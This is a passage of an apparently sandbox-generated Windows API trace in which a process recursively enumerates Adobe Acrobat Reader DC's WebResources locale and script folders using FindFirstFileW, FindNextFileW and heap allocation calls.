hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.160] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.160] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.160] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.160] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.160] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.161] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.161] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.162] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.162] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.162] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.162] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.162] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.162] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.162] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.162] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.163] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.163] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.163] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.163] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.163] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.163] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.163] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.163] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.164] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.164] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.165] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.165] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.165] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.165] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.165] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.165] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.166] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.166] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.166] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.166] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.166] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.166] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.166] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.167] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.167] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.167] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bda0 [0287.167] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.167] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.167] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.167] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.171] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.171] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.171] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.172] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.172] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.172] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.172] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.172] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.172] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.172] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.172] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380be20 [0287.173] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.173] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.173] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.173] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0287.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.173] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.173] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.173] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380be20 [0287.173] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.174] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.174] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.174] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0287.174] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.174] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.174] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0287.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0x380bc60 [0287.174] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.174] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0287.174] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.174] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0287.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0287.175] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0287.175] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0287.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.175] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0287.175] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0287.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0287.175] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0287.175] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0287.175] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0287.178] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0287.178] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0287.178] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0287.179] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c2a0 [0287.180] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0287.180] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0287.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4671f70 [0287.181] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bc20 [0287.181] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0287.181] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0287.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0287.182] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bce0 [0287.191] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.192] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.193] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.194] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.194] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.194] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.194] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.195] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.545] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.545] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.545] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.545] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.546] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.546] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.546] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.546] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.546] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.547] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.547] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.547] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.547] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.547] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.832] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.832] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.833] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.841] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.841] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.842] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.842] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.843] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.843] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.844] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.845] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.845] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.845] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.846] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.846] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.847] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.847] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0287.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.847] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0287.847] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0287.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0287.848] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0287.848] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0287.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.849] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0287.849] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0287.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0287.850] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0287.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.853] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0287.854] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.854] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0287.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.854] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0287.854] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0287.854] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0287.855] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0287.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0287.855] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0287.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0287.855] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0287.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.940] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: 